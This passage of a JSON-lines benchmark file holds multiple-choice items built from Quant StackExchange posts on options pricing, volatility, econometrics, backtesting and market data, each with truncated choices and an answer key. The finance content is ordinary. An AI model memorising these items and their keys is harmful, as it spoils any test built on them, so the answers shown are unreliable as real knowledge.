corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "B": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "C": "In order to answer your question (for you) you would need something to compare to . You would need numbers to know if it is slower/faster, how much, and if it will impact your system overall. Also knowing your performance goals could narrow down the options. My advice is to take a look at your overall architecture of the sytem you have or intend to build. To just look at QuickFIX is rather meaningless without the whole chain involved in processing information and reacting to it . As an example, say QuickFIX is 100 times faster than some part (in...", "D": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/557/how-fast-is-quickfix"} {"id": "finance_25942", "domain": "finance", "question_title": "Why aren't econometric models used more in Quant Finance?", "question_body": "There is a big body of literature on econometric models like ARIMA , ARIMAX or VAR . Yet to the best of my knowledge practically nobody is making use of that in Quantitative Finance. Yes, there is a paper here and there and sometimes you find an example where stock prices are being used for illustrative purposes but this is far from the main stream. My question Is there a good reason for that? Is it just because of tradition and different schools of thought or is there a good technical explanation? (By the way I was pleased to find an arima tag here... but this is again a case in point: only 8 out of nearly 7,000 questions (~ 0.1% !) use this tag! ...ok, make this 9 now ;-)", "question_score": 41, "question_tags": ["modeling", "forecasting", "econometrics", "models", "arima"], "choices": {"A": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "B": "I know that I have seen things like this in the past. Wasn't there something recently that used Twitter? Here are a few recent papers as examples, although I will be brutally honest that I don't know if they speak to your decent quality requirement: \"Trading Strategies to Exploit Blog and News Sentiment\" (Zhang, Skiena 2010) \"The Predictive Power of Financial Blogs\" (Frisbee 2010) \"An analysis of verbs in financial news articles and their impact on stock price\" (Schumaker 2010)", "C": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "D": "It's an interesting question. I particularly agree with the $\\mathbb{Q}-\\mathbb{P}$ dichotomy mentioned by many. I would add to the other answers that, come to think of it, the Black-Scholes postulated Geometric Brownian Motion could be interpreted as an AR(1) process on the logarithm of the stock price as you discretise the SDE from which it is a solution, which is exactly what you do when running Monte-Carlo simulations (same thing for the Ornstein-Uhlenbeck process as explained here and noted by @Richard). Actually, when taking the continuous-time limit, many more econometric models can be shown to correspond to stochastic processes frequently..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/25942/why-arent-econometric-models-used-more-in-quant-finance"} {"id": "finance_1489", "domain": "finance", "question_title": "How should I calculate the implied volatility of an American option in a real-time production environment?", "question_body": "There are many models available for calculating the implied volatility of an American option. The most popular method, employed by OptionMetrics and others, is probably the Cox-Ross-Rubinstein model. However, since this method is numerical, it yields a computationally intensive algorithm which may not be feasible (at least for my level of hardware) for repeated re-calculation of implied volatility on a hundreds of option contracts and underlying instruments with ever-changing prices. I am looking for an efficient and accurate closed form algorithm for calculating implied volatility. Does anyone have any experience with this problem? The most popular closed-form approximation appears to be Bjerksund and Stensland (2002), which is recommended by Matlab as the top choice for American options, although I've also seen Ju and Zhong (1999) mentioned on Wilmott . I am interested in knowing which of these (or other) methods gives the most reasonable and accurate approximations in a real-world setting.", "question_score": 39, "question_tags": ["option-pricing", "implied-volatility"], "choices": {"A": "The way you do it in the first place is a discretization of the Geometric Brownian Motion (GBM) process. This method is most useful when you want to compute the path between $S_0$ and $S_t$, i.e. you want to know all the intermediary points $S_i$ for $0 \\leq i \\leq t$. The second equation is a closed form solution for the GBM given $S_0$. A simple mathematical proof showed that, if you know the initial point $S_0$ (which is $a$ in your equation), then the value of the process at time $t$ is given by your equation (which contains $W_t$,...", "B": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "C": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "D": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1489/how-should-i-calculate-the-implied-volatility-of-an-american-option-in-a-real-ti"} {"id": "finance_7568", "domain": "finance", "question_title": "Mapping symbols between tickers, Reuters RICs and Bloomberg tickers", "question_body": "Is there any known solution (preferably open source) to map between ticker symbols, Reuters and Bloomberg symbols. For example: Ticker: AAPL Reuters: AAPL.O (may be prefixed with RSF.ANY. dependent upon infrastructure) Bloomberg: AAPL US Equity Edit: by mapping I mean translating from one symbol naming convention to another. For example let's say we have RSF.ANY.AAPL.O and want to get Bloomber equivalent, which is \"AAPL US Equity\". Edit2: Fixed Bloomber mapping, it should be \"AAPL US Equity\" not \"AAPL:US\"", "question_score": 39, "question_tags": ["market-data", "tick-data", "bloomberg", "reuters"], "choices": {"A": "Here are some pointers. First of all: What you list as a Reuters RIC, RSF.ANY.AAPL.OQ , is not really a RIC, only the AAPL.OQ is. The initial part is some stuff which is essentially site specific and tells me that you are working on a site that has a legacy RTIC infrastructure (some Reuters/TIBCO technology which is quite old these days and for all practical purposes has been deprecated in favour of other distribution mechanisms, most notably the ADS). Ok, the AAPL.OQ is the RIC, and only that. The initial part, the RSF.ANY denotes the feed and that is because...", "B": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "C": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "D": "From my experience, EODData is pretty much that you get what you pay for. Its not a very sophisticated product. They email you the files you subscribe to, and thats that. I have had an issue before of where the emails didn't go through anymore and I never heard anything from them. On Quality, I can't make a claim on its accuracy. It seems good. I find issue with three things about the data: There is no way to signal an exchange change It doesn't give you an easy way to grab the symbol info [Names, etc] If there is..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/7568/mapping-symbols-between-tickers-reuters-rics-and-bloomberg-tickers"} {"id": "finance_946", "domain": "finance", "question_title": "What type of investor is willing to be short gamma?", "question_body": "As far as I understand, most investors are willing to buy options (puts and calls) in order to limit their exposure to the market in case it moves against them. This is due to the fact that they are long gamma. Being short gamma would mean that the exposure to the underlying becomes more long as the underlying price drops and more short as the underlying price rises. Thus exposure gets higher with a P&L downturn and lower with a P&L upturn. Hence I wonder who is willing to be short gamma? Is it a bet on a low volatility? Also, for a market maker in the option market, writing (selling) an option means being short gamma, so if there is no counterparty willing to be short gamma, how are they going to hedge their gamma?", "question_score": 38, "question_tags": ["options", "hedging", "portfolio-management", "greeks", "investing"], "choices": {"A": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "B": "Great question! I think the most useful starting point is Stock Return Characteristics, Skew Laws, and the Differential Pricing of Individual Equity Options by Bakshi, Kapadia and Madan (2003) . Their paper proposes a definition of model-free implied skewness (they originally called it risk-neutral skewness, but MFIS is more accurate), which they prove will have a P&L directly proportional to the realized skewness of the underlier. Subsequent papers (there are literally dozens) have thoroughly explored the properties of MFIS. In particular, Does Risk-Neutral Skewness Predict the Cross-Section of Equity Option Portfolio Returns? by Bali and Murray (2011) estimates the empirical...", "C": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a...", "D": "Being short gamma simply means that you are short options regardless of whether they are puts or calls. The most common type of investor that is willing to be short gamma is someone who sells options, also known as a premium collector. These investors commonly use strategies such as short puts, covered calls, iron condors, vertical credit spreads, and a few others. These strategies are typically referred to as income generation strategies. They offer the investor a return known in advance, in exchange for the risk of being short options. Frequently these types of income trades have have a probability..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/946/what-type-of-investor-is-willing-to-be-short-gamma"} {"id": "finance_140", "domain": "finance", "question_title": "What are the popular methodologies to minimize data snooping?", "question_body": "Are there common procedures prior or posterior backtesting to ensure that a quantitative trading strategy has real predictive power and is not just one of the thing that has worked in the past by pure luck? Surely if we search long enough for working strategies we will end up finding one. Even in a walk forward approach that doesn't tell us anything about the strategy in itself. Some people talk about white's reality check but there are no consensus in that matter.", "question_score": 37, "question_tags": ["backtesting", "strategy"], "choices": {"A": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "B": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "C": "Strictly speaking, data snooping is not the same as in-sample vs out-of-sample model selection and testing, but has to deal with sequential or multiple tests of hypothesis based on the same data set. To quote Halbert White: Data snooping occurs when a given set of data is used more than once for purposes of inference or model selection. When such data reuse occurs, there is always the possibility that any satisfactory results obtained may simply be due to chance rather than to any merit inherent in the methody yielding the results. Let me provide an example. Suppose that you have...", "D": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/140/what-are-the-popular-methodologies-to-minimize-data-snooping"} {"id": "finance_530", "domain": "finance", "question_title": "Digital Signal Processing in Trading", "question_body": "There is a concept of trading or observing the market with signal processing originally created by John Ehler . He wrote three books about it. Cybernetic Analysis for Stocks and Futures Rocket Science for Traders MESA and Trading Market Cycles There are number of indicators and mathematical models that are widely accepted and used by some trading software (even MetaStock), like MAMA, Hilbert Transform, Fisher Transform (as substitutes of FFT), Homodyne Discriminator, Hilbert Sine Wave, Instant Trendline etc. invented by John Ehler. But that is it. I have never heard of anybody other than John Ehler studying in this area. Do you think that it is worth learning digital signal processing? After all, each transaction is a signal and bar charts are somewhat filtered form of these signals. Does it make sense?", "question_score": 37, "question_tags": ["trading", "digital-signal-processing"], "choices": {"A": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "B": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "C": "I can think of an application in options pricing. I came across the following paper a long time ago but think it explains FT very eloquently as applied to pricing options under BS: http://maxmatsuda.com/Papers/2004/Matsuda%20Intro%20FT%20Pricing.pdf The fun starts on page 112 but it relies on the 1998 paper by Madan and Carr. What I like about the paper is that it gives a thorough introduction to FT and only when the groundwork is set it applies it to option pricing. Not a bad approach vs many other papers which make a lot of assumption and assume the reader can jump right...", "D": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/530/digital-signal-processing-in-trading"} {"id": "finance_2079", "domain": "finance", "question_title": "Skew arbitrage: How can you realize the skewness of the underlying?", "question_body": "It's not clear to me how to realize skewness. In other words, how do you implement skew arbitrage? There seems to be no well-known recipe like in volatility arbitrage . Volatility arbitrage (or vol arb) is a type of statistical arbitrage implemented by trading a delta neutral portfolio of an option and its underlier. The objective is to take advantage of differences between the implied volatility and a forecast of future realized volatility of the option's underlier. My hypothetical skew arbitrage definition: Skew arbitrage is a type of statistical arbitrage implemented by trading a delta and volatility neutral portfolio. The objective is to take advantage of differences between the implied skew and a forecast of future realized skew of the option's underlier. Is it possible to make such a skew-arb portfolio in practice? If I have great confidence in my skew forecast but not in my volatility forecast, I am tempted to engage in this type arbitrage. But again, this is just a hypothetical version of skew arbitrage. If you know a correct and more practical version, you are welcome to correct me! The same question but in a different voice: In practice, a skew bet is implemented through vertical spread, i.e. buying and selling options of different strikes. How do options traders hedge / realize the edge of the spread they trade that is indifferent to the underlying volatility?", "question_score": 37, "question_tags": ["options", "volatility", "trading", "hedging", "option-strategies"], "choices": {"A": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "B": "Great question! I think the most useful starting point is Stock Return Characteristics, Skew Laws, and the Differential Pricing of Individual Equity Options by Bakshi, Kapadia and Madan (2003) . Their paper proposes a definition of model-free implied skewness (they originally called it risk-neutral skewness, but MFIS is more accurate), which they prove will have a P&L directly proportional to the realized skewness of the underlier. Subsequent papers (there are literally dozens) have thoroughly explored the properties of MFIS. In particular, Does Risk-Neutral Skewness Predict the Cross-Section of Equity Option Portfolio Returns? by Bali and Murray (2011) estimates the empirical...", "C": "For an option with price $C$ , the P $\\&$ L, with respect to changes of the underlying asset price $S$ and volatility $\\sigma$ , is given by \\begin{align*} P\\&L = \\delta \\Delta S + \\frac{1}{2}\\gamma (\\Delta S)^2 + \\nu \\Delta \\sigma, \\end{align*} where $\\delta$ , $\\gamma$ , and $\\nu$ are respectively the delta, gamma, and vega hedge ratios. Then it is clear the vega P $\\&$ L has exposure to the change of the implied volatility $\\sigma$ . Note that, for the gamma P $\\&$ L, \\begin{align*} \\frac{1}{2}\\gamma (\\Delta S)^2 = \\frac{1}{2}\\gamma S^2 \\frac{1}{\\Delta t}\\left(\\frac{\\Delta S}{S}\\right)^2\\Delta t, \\end{align*} where...", "D": "Being short gamma simply means that you are short options regardless of whether they are puts or calls. The most common type of investor that is willing to be short gamma is someone who sells options, also known as a premium collector. These investors commonly use strategies such as short puts, covered calls, iron condors, vertical credit spreads, and a few others. These strategies are typically referred to as income generation strategies. They offer the investor a return known in advance, in exchange for the risk of being short options. Frequently these types of income trades have have a probability..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2079/skew-arbitrage-how-can-you-realize-the-skewness-of-the-underlying"} {"id": "finance_10359", "domain": "finance", "question_title": "Is there an intuitive explanation for the Feynman-Kac-Theorem?", "question_body": "The Feynman-Kac theorem states that for an Ito-process of the form $$dX_t = \\mu(t, X_t)dt + \\sigma(t, X_t)dW_t$$ there is a measurable function $g$ such that $$g_t(t,x) + g_x(t, x) \\mu(t,x) + \\frac{1}{2} g_{xx}(t,x)\\sigma(t,x)^2 = 0$$ with an appropriate boundary condition $h$: $g(T,x) = h(x)$. We also know that $g(t,x)$ is of the form $$g(t,x)=\\mathbb{E}\\left[h(X_T) \\big| X_t=x\\right].$$ This means that I can price an option with payoff function $h(x)$ at $T$ by solving the differential equation without regard to the stochastic process. Is there an intuitive explanation how it is possible to model the stochastic behaviour of the Ito-process by a differential equation, even though the differential equation does not have a stochastic component?", "question_score": 37, "question_tags": ["brownian-motion", "differential-equations"], "choices": {"A": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "B": "Martingales + Markovian Here is the motivation. Conditional expectations are martingales by the tower property of conditional expectations (an easy exercise to show). Suppose $r=0$, by the risk neutral pricing theorem $E^\\star\\left[h(X_T)\\bigg|\\mathscr{F}_t,\\,X_t=x\\right]$ is the price of any derivative security with $X$ as the underlying asset and payoff function $h$ assuming for the moment that the underlying security and the derivative itself pay no intermediate cashflows. In a Markovian setting, it must be the case that the price of the derivative is a measurable function of the current asset price and the time to maturity only, say a function $g(t, x)$....", "C": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and...", "D": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/10359/is-there-an-intuitive-explanation-for-the-feynman-kac-theorem"} {"id": "finance_1937", "domain": "finance", "question_title": "How to identify technical analysis chart patterns algorithmically?", "question_body": "I'm working on a small application that will provide some charts and graphs to be used for technical analysis. I'm new to TA but I'm wondering if there is a way to algorithmically identify the formation of certain patterns. In most of the TA literature I've read the authors explain how to identify these patterns visually. Is there a way to algorithmically determine these patterns so that I could, for example, examine the prices in code and identify a possible Head and Shoulders pattern?", "question_score": 36, "question_tags": ["algorithm", "technicals", "indicator"], "choices": {"A": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "B": "I would offer the distinctions are i) pure statistical approach, ii) equilibrium based approach, and iii) empirical approach. The statistical approach includes data mining. Its techniques originate in statistics and machine learning. In its extreme there is no a priori theoretical structure imposed on asset returns. Factor structure might be identified thru Principal Components, for example. The goal here is to maximize predictive accuracy at the expense of intuition and explanatory power. This approach increasingly dominates at very short frequencies in modeling market microstructure, market making algorithms, volatility modeling, etc. However, even in high-frequency trading one can impose a factor...", "C": "As mentioned elsewhere on this site, Lo, Mamaysky, and Wang (2000) do exactly what you're talking about, namely algorithmic detection of head and shoulders patterns. Their definition: Head-and-shoulders (HS) and inverted head-and-shoulders (IHS) patterns are characterized by a sequence of five consecutive local extrema $E_1,...,E_5$ such that $$ HS \\equiv \\begin{cases} E_1 \\text{ is a maximum} \\\\ E_3 > E_1, E_3 > E_5 \\\\ E_1\\text{ and }E_5\\text{ are within 1.5 percent of their average} \\\\ E_2\\text{ and }E_4\\text{ are within 1.5 percent of their average,} \\end{cases} $$ $$ IHS \\equiv \\begin{cases} E_1\\text{ is a minimum} \\\\ E_3", "D": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1937/how-to-identify-technical-analysis-chart-patterns-algorithmically"} {"id": "finance_4589", "domain": "finance", "question_title": "How to simulate stock prices with a Geometric Brownian Motion?", "question_body": "I want to simulate stock price paths with different stochastic processes. I started with the famous geometric brownian motion. I simulated the values with the following formula: $$R_i=\\frac{S_{i+1}-S_i}{S_i}=\\mu \\Delta t + \\sigma \\varphi \\sqrt{\\Delta t}$$ with: $\\mu= $ sample mean $\\sigma= $ sample volatility $\\Delta t = $ 1 (1 day) $\\varphi=$ normally distributed random number I used a short way of simulating: Simulate normally distributed random numbers with sample mean and sample standard deviation. Multiplicate this with the stock price, this gives the price increment. Calculate Sum of price increment and stock price and this gives the simulated stock price value. (This methodology can be found here ) So I thought I understood this, but now I found the following formula , which is also the geometric brownian motion: $$ S_t = S_0 \\exp\\left[\\left(\\mu - \\frac{\\sigma^2}{2}\\right) t + \\sigma W_t \\right] $$ I do not understand the difference? What does the second formula says in comparison to the first? Should I have taken the second one? How should I simulate with the second formula?", "question_score": 36, "question_tags": ["equities", "simulations", "stochastic-processes", "brownian-motion"], "choices": {"A": "I know that I have seen things like this in the past. Wasn't there something recently that used Twitter? Here are a few recent papers as examples, although I will be brutally honest that I don't know if they speak to your decent quality requirement: \"Trading Strategies to Exploit Blog and News Sentiment\" (Zhang, Skiena 2010) \"The Predictive Power of Financial Blogs\" (Frisbee 2010) \"An analysis of verbs in financial news articles and their impact on stock price\" (Schumaker 2010)", "B": "I recently read \"Modeling financial data with stable distributions\" (Nolan 2005) which gives a survey of this area and might be of interest (I believe it was contained in \"Handbook of Heavy Tailed Distributions in Finance\" ). Another more recent reference is \"Alpha-Stable Paradigm in Financial Markets\" (2008). I'm not aware of anything covering \"risk of fluctuations\" and this is still certainly not at the center of the field (i.e. most theory still includes some version of Gaussian or mixture of Gaussians). Would also be interested in other references.", "C": "The way you do it in the first place is a discretization of the Geometric Brownian Motion (GBM) process. This method is most useful when you want to compute the path between $S_0$ and $S_t$, i.e. you want to know all the intermediary points $S_i$ for $0 \\leq i \\leq t$. The second equation is a closed form solution for the GBM given $S_0$. A simple mathematical proof showed that, if you know the initial point $S_0$ (which is $a$ in your equation), then the value of the process at time $t$ is given by your equation (which contains $W_t$,...", "D": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/4589/how-to-simulate-stock-prices-with-a-geometric-brownian-motion"} {"id": "finance_139", "domain": "finance", "question_title": "Trading a synthetic replication of the VIX index", "question_body": "One cannot directly buy and sell the VIX index. Theoretically, however, one could approximate the index by purchasing an at-the-money straddle on the SP500, then delta-hedging the straddle. Does anyone have experience with such a \"synthetic\" replication of the index? It might be very useful for betting on volatility or for spreads against the VIX futures (a sort of basis trade), but I can see potential problems if the replication is too inaccurate. (To anticipate your comments: I'm aware of the many VIX-related ETFs; but, no, I would not consider using them. I'm also aware that the VIX calculation uses other strikes beyond the ATM options; this proposed synthetic is admittedly an approximation.)", "question_score": 35, "question_tags": ["vix", "delta-neutral"], "choices": {"A": "A synthetic model for the VIX would be quite useful. I just mention this since it has been covered elsewhere in the past, although I don't think that it's a real solution to your problem (for a number of reasons). Several blogs posted on the \"William's VIX Fix\" (WVF) in the past: marketsci , trading the odds , mindmoneymarkets . The WVF is intended to be a synthetic VIX calculation, derived by Larry Williams (see the original article here ), and is represented by the following formula: $wvf = \\frac{Highest(Close, 22) - Low}{Highest(Close, 22)} * 100$ In R, this can...", "B": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "C": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "D": "I haven't read Natenberg but it of course depends on your side in the trade: Are you a market maker or a risk taker? So do you live on the spread (first) or are trying to make money based on e.g. forecasts on direction (second). This is the great divide in QuantFinance! Only in the first case will all your option trades be delta neutral. There is a nice short paper which elaborates on both concepts (it calls the first one Q and the second P ): Meucci: 'P' Versus 'Q': Differences and Commonalities between the Two Areas of Quantitative..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/139/trading-a-synthetic-replication-of-the-vix-index"} {"id": "finance_2360", "domain": "finance", "question_title": "What exactly is meant by "microstructure noise"?", "question_body": "I see that term tossed around a lot, in articles relating to HFT, and ultra high frequency data. It says at higher frequencies, smaller intervals, microstructure noise is very dominant. What is this microstructure noise that they refer to?", "question_score": 35, "question_tags": ["volatility", "statistics", "high-frequency", "market-microstructure", "high-frequency-estimators"], "choices": {"A": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering 